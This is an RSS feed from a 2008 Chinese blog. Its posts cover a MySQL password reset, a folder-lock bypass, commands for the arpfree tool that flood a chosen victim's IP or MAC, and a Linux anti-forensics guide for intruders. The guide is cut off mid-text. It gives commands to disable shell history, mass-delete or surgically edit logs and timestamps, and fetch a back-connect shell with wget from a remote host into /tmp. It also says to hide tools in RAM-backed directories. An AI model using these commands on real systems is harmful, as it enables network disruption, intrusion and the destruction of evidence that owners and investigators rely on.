<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.feedsky.com/styles/feedsky8.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0"><channel><atom:link href="http://feed.feedsky.com/woidiy" type="application/rss+xml" ref="self"></atom:link><fs:self_link href="http://feed.feedsky.com/woidiy" type="application/rss+xml"></fs:self_link><lastBuildDate>Sat, 10 May 2008 05:25:23 GMT</lastBuildDate><title>狂人日记</title><description>两团棉花糖Blog</description><link>http://www.woidiy.com/blog/</link><language>en</language><copyright>Copyright 2008, 狂人日记</copyright><pubDate>Sat, 10 May 2008 05:48:32 GMT</pubDate><dc:date>2008-05-10T05:48:32Z</dc:date><dc:language>en</dc:language><dc:rights>Copyright 2008, 狂人日记</dc:rights><item><title>MySQL忘记密码处理方法解决办法</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72947265/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=501</wfw:commentRss><description>MySQL忘记密码处理方法解决办法：&lt;br /&gt;1。停止mysql服务。//打开命令行窗口，停止mysql服务： Net stop mysql&lt;br /&gt;2。启动mysql，一般到mysql的安装路径，找到 mysqld-nt.exe&lt;br /&gt;   执行：mysqld-nt --skip-grant-tables 当前窗口将会停止。&lt;br /&gt;3。另外打开一个命令行窗口，进入MYSQL的安装位置下BIN目录，运行mysql&lt;br /&gt;4。输入如下命令：&lt;br /&gt;  &amp;gt;use mysql&lt;br /&gt;  &amp;gt;ｕpdate user set password=password(&amp;quot;new_password&amp;quot;) where user=&amp;quot;root&amp;quot;;&lt;br /&gt;  &amp;gt;flush privileges;&lt;br /&gt;  &amp;gt;exit&lt;br /&gt;6。用Ctrl+Alt+Del，找到mysqld-nt的进程杀掉它，在重新启动mysql-nt服务，就可以用新密码登录了&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/21ddeeceafc1de2fa149ab531b447dd4&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/21ddeeceafc1de2fa149ab531b447dd4/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=c041923481e8fa0769fbe6070c5ab4fd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=c041923481e8fa0769fbe6070c5ab4fd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=1dc167edcd885bf1b82f738545495d51&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=1dc167edcd885bf1b82f738545495d51&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=024ecd7992655d32a68a0810ece38a13&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=024ecd7992655d32a68a0810ece38a13&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=6cca99470255756ee1a8d9017a5b0dc2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=6cca99470255756ee1a8d9017a5b0dc2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=9b8b58cf44a5d02973dbebced9ccb963&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=9b8b58cf44a5d02973dbebced9ccb963&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=917f767b5d5c30c4970c907006081276&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=917f767b5d5c30c4970c907006081276&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=363d67b85a4b4ff0cf7034f75545014d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=363d67b85a4b4ff0cf7034f75545014d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Sat, 10 May 2008 13:25:23 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=501</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=501</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72947265/4066013</fs:itemid></item><item><title>对抗网络执法官等软件攻击的利器arpfree</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72644431/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=500</wfw:commentRss><description>使用方法：&lt;br /&gt;首先安装winpacp驱动，发送的时候可以选择ARP的TYPE。如果是ARP请求报文，则只要输入要问的IP地址，如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址。&lt;br /&gt;最后的发送速度可选参数为：（大小写敏感）&lt;br /&gt;&lt;br /&gt;fast----------最快&lt;br /&gt;hear---------每60MS一个包（比较适合结合SNIFFER做监听）&lt;br /&gt;slowhear---每500MS一个包&lt;br /&gt;auto---------每1秒一个包&lt;br /&gt;slow---------每2秒个包&lt;br /&gt;&lt;br /&gt;实例&lt;br /&gt;&lt;br /&gt;反击网络执法官，网络终结者的攻击：&lt;br /&gt;1：发动比他更强烈的攻击：&lt;br /&gt;arpfree 123412341234 ffffffffffff request 192.168.237.58 fast&lt;br /&gt;                                                                      |&lt;br /&gt;                                                                      |&lt;br /&gt;                                                          这里是你想攻击的人的IP地址&lt;br /&gt;2：交换机竞争：&lt;br /&gt;&lt;br /&gt;arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast&lt;br /&gt;                      |&lt;br /&gt;                      |&lt;br /&gt;        这里是你想攻击的人的MAC地址&lt;br /&gt;&lt;br /&gt;1：情况将导致他IP地址冲突（比“终结者”来的猛烈多了）&lt;br /&gt;2：情况将使得他无法连接网络（由于交换机把他的流量都给你了）&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/c538e3fa0317c726b6fbadbb921adaa1&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/c538e3fa0317c726b6fbadbb921adaa1/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=baaa648f0b766950821cdf30c5bcd1ac&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=baaa648f0b766950821cdf30c5bcd1ac&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=34c91f7517407e1a946abaa2cd7074e2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=34c91f7517407e1a946abaa2cd7074e2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=bfe2901c86df636932823facc471b086&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=bfe2901c86df636932823facc471b086&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=234366fb8363be2176409c3eb3e51c0a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=234366fb8363be2176409c3eb3e51c0a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5c2592181a80fd750e0dbb792b4f18f5&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5c2592181a80fd750e0dbb792b4f18f5&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=fcae5988592736a2f3c7701cac7415ce&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=fcae5988592736a2f3c7701cac7415ce&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=a33daac89734521ec5805973c88fb23e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=a33daac89734521ec5805973c88fb23e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Fri, 09 May 2008 14:41:39 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=500</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=500</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72644431/4066013</fs:itemid></item><item><title>可笑的文件夹加密大师</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72644432/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=499</wfw:commentRss><description>文章作者：樱花浪子&lt;br /&gt;原始出处：&lt;a href=&quot;http://www.hacklu.net&quot; title=&quot;http://www.hacklu.net&quot; target=&quot;_blank&quot;&gt;http://www.hacklu.net&lt;/a&gt;&lt;br /&gt;转载请保留版权，请相互尊重。　　　　　　　　　　　　　　　　　&lt;br /&gt;　　　　　　　　　　　　　　　　　&lt;br /&gt;&lt;br /&gt;　　最近在找一款加密文件夹的工具，于是百度了一下发现N多，但是利用原理很多都是利用WIN缺陷的&amp;quot;..&amp;quot;加密，可能有很多朋友知道，也可能有很多朋友不知道这种原理，网上有一种软件利用这个自称是XX加密大师，汗……&lt;br /&gt;&lt;br /&gt;    大家知道在CMD下可以用MD NAME..\建立带点的文件夹，这样建立完我们发现，无法打开和改名、删除等。会出现xxxx引用一个不可用的位置，其实程序利用的就是这个原理，把要加密的文件夹，用API将要加密的文件夹名称后面加上..\,解密的时候再把它去掉。&lt;br /&gt;&lt;br /&gt;　　这里以云南黑客联盟的超强文件加密目录为例，首先我们建立一个test的文件夹，里面建一个test.txt的文本。用这个东东进行加密，加密后test文件夹会变成test.如图1，这时无论我们打开、删除、改名等都会弹出如图2的对话框。&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://pic.yupoo.com/xhacker/17672587687b/nuhovij6.jpg&quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://pic.yupoo.com/xhacker/17672587687b/nuhovij6.jpg&quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://pic.yupoo.com/xhacker/37759587687b/zisq9wn1.jpg &quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://pic.yupoo.com/xhacker/37759587687b/zisq9wn1.jpg &quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;　　那怎么破解呢，只要我们在运行里输入：W:\test\test..\这里注意一下文件夹第一次打开的时候会一闪关掉，我们只要在运行里再输入一遍W: \test\test..\文件夹就会乖乖的出来了，而且我们可以进行复制，移动等。如果我们想删除只要用rmdir x:\test..\ /s一切就没了。&lt;br /&gt;&lt;br /&gt;　　但在测试的时候我发现如果上一级目录有空格的话如W:\te st\test..\在运行里输入就会出现图3的错误，这里我们假设一下如果加密者把文件夹加密在一个含空格的文件夹中呢？其实这个也很简单，如果像W: \te st这里我们有权限重命名的话我们可以改名把空格去掉，但如果像C:\Documents and Settings这样的系统文件夹我们没有权限重命名的时候只要我们进入相应的文件夹下用md x:\md...\在建立一个就可以进去了。&lt;br /&gt;&lt;br /&gt;    在假设如果加密者在硬盘根目录建立一个带空格的文件夹，然后进行加密，这样我们运行x:te st..\或者在X盘根目录用md te st...\都是不行的，都会被te这里断掉，这时我们只要用短文件名照样可以进去或者删除，例如我在w盘建立一个te st，里面建立一个OK的文本，然后用上面的工具加密就会变成了“te st.”我们进入cmd下w盘的根目录，执行dir /x，看看吧，短文件名都出来了，te st.对应的就是TEST~1，我们继续执行md TEST~1..\回到w盘看看会多一个TEST~1.的文件夹，里面的OK文本文件也出来了。图4。&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://pic.yupoo.com/xhacker/19217587687b/ydno9e5v.jpg &quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://pic.yupoo.com/xhacker/19217587687b/ydno9e5v.jpg &quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://pic.yupoo.com/xhacker/30687587687b/icz4wntv.jpg &quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://pic.yupoo.com/xhacker/30687587687b/icz4wntv.jpg &quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;文章我已经做了动画，有兴趣的朋友可以看下，最后劝大家一句不要在相信网络上流传的不现实的东东，比如说手册论坛里最近流传一个只知道IP就可以开启远方摄像头的软件，我已经在“菜鸟疑惑”顶置了相应的帖子。&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/3125621aff0597b4f6b444edcb17050b&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/3125621aff0597b4f6b444edcb17050b/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=0559bb5e968baf665adcbdfd721cbcb7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=0559bb5e968baf665adcbdfd721cbcb7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=9dd51097f3e87c782386d4d540421e8e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=9dd51097f3e87c782386d4d540421e8e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=06f3284c73ed96865ae832cd638daf62&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=06f3284c73ed96865ae832cd638daf62&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=0706c65b4d98b9792315ed9ea8f00717&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=0706c65b4d98b9792315ed9ea8f00717&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=297c19a4438a5d6fda9ca72c5e7e0e0b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=297c19a4438a5d6fda9ca72c5e7e0e0b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=efc79e14a49354e59a2d80527ead3c96&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=efc79e14a49354e59a2d80527ead3c96&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=261a85be72aa3b266d861c44daa9af6b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=261a85be72aa3b266d861c44daa9af6b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>黑客发表</category><pubDate>Fri, 09 May 2008 14:35:57 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=499</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=499</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72644432/4066013</fs:itemid></item><item><title>linux入侵踪迹隐藏攻略v0.1</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72624301/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=498</wfw:commentRss><description>作者：xi4oyu&lt;br /&gt;&lt;br /&gt;免责声明：&lt;br /&gt;&lt;br /&gt;本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责,转载请保留。&lt;br /&gt;&lt;br /&gt;0．前言：&lt;br /&gt;被警察叔叔请去喝茶时间很痛苦的事情，各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深，是我们必须掌握的基本功。当然，如果管理员真的想搞你而他的功力又足够足的话，相信没什么人能够真正的“踏雪无痕”。Forensic 与Anti-Forensic，说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的文章，大部分就是下载个日志擦除的软件，然后运行下就可以了，对小站可以，但对方如果是经验丰富的管理员呢？我们该如何应对？我在这里只介绍unix-like system下的，至于windows或者其他什么系统下的，欢迎各位道友补充。&lt;br /&gt;&lt;br /&gt;1.&lt;br /&gt;最小化你的日志&lt;br /&gt;&lt;br /&gt;P.S 访问目标前用跳板我就不废话了，你是VPN也好3389也罢，ssh中转，代理都行。总之记住一点—直接连接攻击目标是愚蠢的&lt;br /&gt;&lt;br /&gt;1.1&lt;br /&gt;shell使用问题&lt;br /&gt;目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来实现与服务器的交互的，当我们使用ssh 或者telnet之类的登录的时候，我们的命令都会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令，如果你拿这台机器当跳板的话，或者扫描其他机器，你的命令都会被记录下来哦。呵呵，所以我们登录的第一件事就是执行如下命令：&lt;br /&gt;&lt;br /&gt;unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0&lt;br /&gt;&lt;br /&gt;当然不同的shell写法可能不同，像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住：从 webshell弹回的shell也会记录你的操作，值得庆幸的是现在很多弹shell的脚本都预先unset 环境变量。&lt;br /&gt;我们还需要记住的是在登录的时候出现在登录窗口的一些信息，比如该用户在什么时候从哪个IP登录进来的等等，这在我们后面的用于日志清除与修改的时候要用到。&lt;br /&gt;如图：&lt;br /&gt;[attach]3067[/attach]&lt;br /&gt;&lt;br /&gt;作为跳板的时候，我们有可能需要用本机的ssh去访问别的机器，但是别的机器的公钥呢？总不能放在当前用户的目录下吧？当然你可以事后删除，但多一事不如少一事，你说对么？&lt;br /&gt;ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i&lt;br /&gt;就可以了，但在这样运行某些命令的时候可能会有提示，说你的stdin不是个terminal，这里可以这样解决：&lt;br /&gt;python -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/sh&amp;quot;)&amp;#39; 或者自己再建立个ttyshell。&lt;br /&gt;&lt;br /&gt;1.2&lt;br /&gt;webshell的选择问题&lt;br /&gt;   可能各位道友的日常生活中最主要目标瞄向了webserver 。现在的web也是大多数入侵的一个突破口。Linux下用的最多的就是apache服务器了，当我们发觉一个服务器的漏洞时候很可能要上传一个webshell来进行对服务器文件进一步的操作和信息的搜集，部分webshell也提供了反弹shell的功能。 如何能够在apache服务器的日志文件中留下最小的记录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果能够root了，则可以将重点放在第二节日志清除上。通常，日志只记录GET的信息，比如你的注入，你采用了那种方式提交数据等等。如果我们的 webshell采用的多是GET方式交互的话，就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳的。Phpspy是个很好的选择，作者也注意掉了这点，取消了GET方式的交互，再给webshell起一个比较迷惑的名字，这样我们与webshell的交流就更加隐秘。&lt;br /&gt;&lt;br /&gt;2.&lt;br /&gt;日志的清除与改写&lt;br /&gt;日志清除与改写，俗称擦PP，这是个很重要的过程，日志记录了你对目标机器的操作记录，大部分的入侵者查找都是通过日志来确定的，因此，我们需要对日志文件进行操作。对日志操作有这么个说法，能修改的就不清除，这样才能最小的减少管理员的怀疑。Linux下的大多数文件是以文本方式，或者以简单的结构体方式存入文件的，这就为我们修改某个日志记录里的具体内容提供了前提条件。&lt;br /&gt;需要注意的一点是，我们需要先看看日志的存放位置，有的管理员会修改日志保存的位置，一般来说，我们可以查看/etc/syslog.conf来获得log文件存放的位置。但要注意的是，有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置，怎么办？在这种情况下可以用strings来看下/sbin/syslogd这个文件，这种管理员我只在书里看到过，至少我没遇到过: P。这个配置文件里面记录了系统存放某些log的目录，如secure文件等。下面我们就会根据这个文件来清理和修改日志。&lt;br /&gt;现在可以在网上公开获得的日志清除程序代码很粗糙，我曾经看到过最夸张的清日志的代码像这样:&lt;br /&gt;rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r&lt;br /&gt;&lt;br /&gt;整个一rm集合，要是服务器跑了很长时间，积累了很多日志。你这样一删除，的，你帮他省事了，他也省事，一眼就看出有人进来了。&lt;br /&gt;先不说其他，用rm删除就不可取，正确的删除文件做法是用shred&lt;br /&gt;shred -n 31337 -z -u file_to_delete&lt;br /&gt;这样多次擦除才够安全。呵呵&lt;br /&gt;下面具体的针对日志文件进行分析。&lt;br /&gt;W命令提供了管理员查看当前登录帐户的功能，所以与管理员同台共演是件很危险的事情，能不做就不做，但也有人曾经上演过local exp后，装上tty 然后T管理员下线截获登录密码的好戏。呵呵，如何让w不显示你登录了呢？&lt;br /&gt;用rootkit我就不废话了，这里有个小窍门，即使是普通用户登录管理员也不能看见：&lt;br /&gt;在跳板上登录目标ssh -T somebody@1.1.1.1 /bin/bash –i 你可以试试，很好用哦。&lt;br /&gt;&lt;br /&gt;OK，言归正传&lt;br /&gt;首先第一个概念是timstamp，也就是你用ls –l 看到的东西，我们在修改一个LOG文件之前或者留后门之后都得留心下这个时间，有很多管理员喜欢通过timestamp来查找入侵者留下的东西。记住以下命令&lt;br /&gt;touch -r 具有你希望改成的时间的文件 你要改变的文件 他能够使得两个文件的timestamp保持一致。&lt;br /&gt;在你修改日志之前，你可以在/dev/shm下面建立一个临时文件，并将log的timestamp保存下俩，然后再touch回去。为什么要用/dev/shm 目录在第三节会有说明。当然我们也可以用程序实现，不过有的时候我们会碰到没有见过的日志类型，所以有时候需要手工改写日志。除了时间之外，还需要注意文件的其他属性，比如所有者或是否有粘滞位等等。这些都需要注意。&lt;br /&gt;&lt;br /&gt;Linux 的日志散落在系统各处，同时系统管理员也能够灵活的制定日志保存的位置，这就要求我们非常小心，采用通用的日志移除或改写工具是很不明智的，为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详解》。&lt;br /&gt;这里提供个工具&lt;br /&gt;&lt;a href=&quot;http://lists.darklab.org/pipermail/darklab/2006-May/000234.html&quot; title=&quot;http://lists.darklab.org/pipermail/darklab/2006-May/000234.html&quot; target=&quot;_blank&quot;&gt;http://lists.darklab.org/pipermail/darklab/2006-May/000234.html&lt;/a&gt;&lt;br /&gt;怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器，这样灵活性更大点。&lt;br /&gt;我们也可以使用sed命令行工具来清除某些日志，通常我会这样修改web日志:&lt;br /&gt;&lt;br /&gt;touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed&amp;#39;/192\.168\.44\.1/d&amp;#39; access_log &amp;gt; /dev/shm/backlog ; cat/dev/shm/backlog &amp;gt; access_log; touch -r /dev/shm/timestamp./access_log ;shred -n 255 -z -u /dev/shm/timestamp;&lt;br /&gt;&lt;br /&gt;这里192.168.44.1是我跳板的IP。&lt;br /&gt;具体的log修改和擦除工具，各位道长就从网上下个现成的自己改改吧，呵呵，我就不在这献丑了。&lt;br /&gt;还有一点，我们要将wtmp文件中的登录日志修改成原来管理员登陆的IP和时间 也就是第一节中记下的时间与IP。如果实在得不到 root权限，我们也可以ssh localhost一下来隐藏登录IP。&lt;br /&gt;&lt;br /&gt;3.&lt;br /&gt;工具与数据的隐藏&lt;br /&gt;3.1工具与数据的临时存放&lt;br /&gt;当我们需要在服务器上留下某些程序的时候，比如sniff软件，或者作为跳板攻击其他服务器的时候，我们不得不面对着一个痛苦的抉择：既要能够留下足够的工具来完成必要的任务，又要经可能少的对文件系统乃至对磁盘的数据的改写。在这种情况下，如果所要保存的数据只是临时的，我们就需要在内存中建立起文件系统。这样，当系统再重启后我们曾经在磁盘上保留的信息就会被擦除，因为它没有被真正的写到磁盘上面去。（注意：通常我们只用这种方法来保存暂时用的程序、代码等工具，如果要长久保存的不推荐此种方法）&lt;br /&gt;为此，我们需要建立ramfs,它是一个在内存中存在的文件系统。具体的介绍请各位道友自行查找相关文档查看。建立ramfs很简单，不过需要有root权限。代码如下：&lt;br /&gt;mount -t ramfs ramfs /usr/tmp&lt;br /&gt;这样/usr/tmp目录就被挂载为一个内存文件系统。当然，在实际过程中我们可能要找一个隐藏比较深的不用的目录来做为挂载点。&lt;br /&gt;那在我们没有root的情况下呢？有时候，我们可能会遇到某个websever的php代码有个remote execution的洞洞，在webserver 的目录下不可写的时候，我们可能会用到wget来下载一个回连的shell到一个都可以写的目录，比如/tmp&lt;br /&gt;通常我们会这样做：&lt;br /&gt;Wget &lt;a href=&quot;http://xxxx/backshell.pl&quot; title=&quot;http://xxxx/backshell.pl&quot; target=&quot;_blank&quot;&gt;http://xxxx/backshell.pl&lt;/a&gt; -P /tmp&lt;br /&gt;但是否想过/tmp或许只是一个普通的ext3或者reinfs文件系统，最多充其量是个tmpfs，这些文件系统有个特点就是会与磁盘交互。那我们应该选择什么目录来保存我们的代码呢？在现代的linux操作系统中，默认挂载了/dev/shm目录其类型就是ramfs，作为系统共享用。我们就可以利用它来完成保存shell的目的。&lt;br 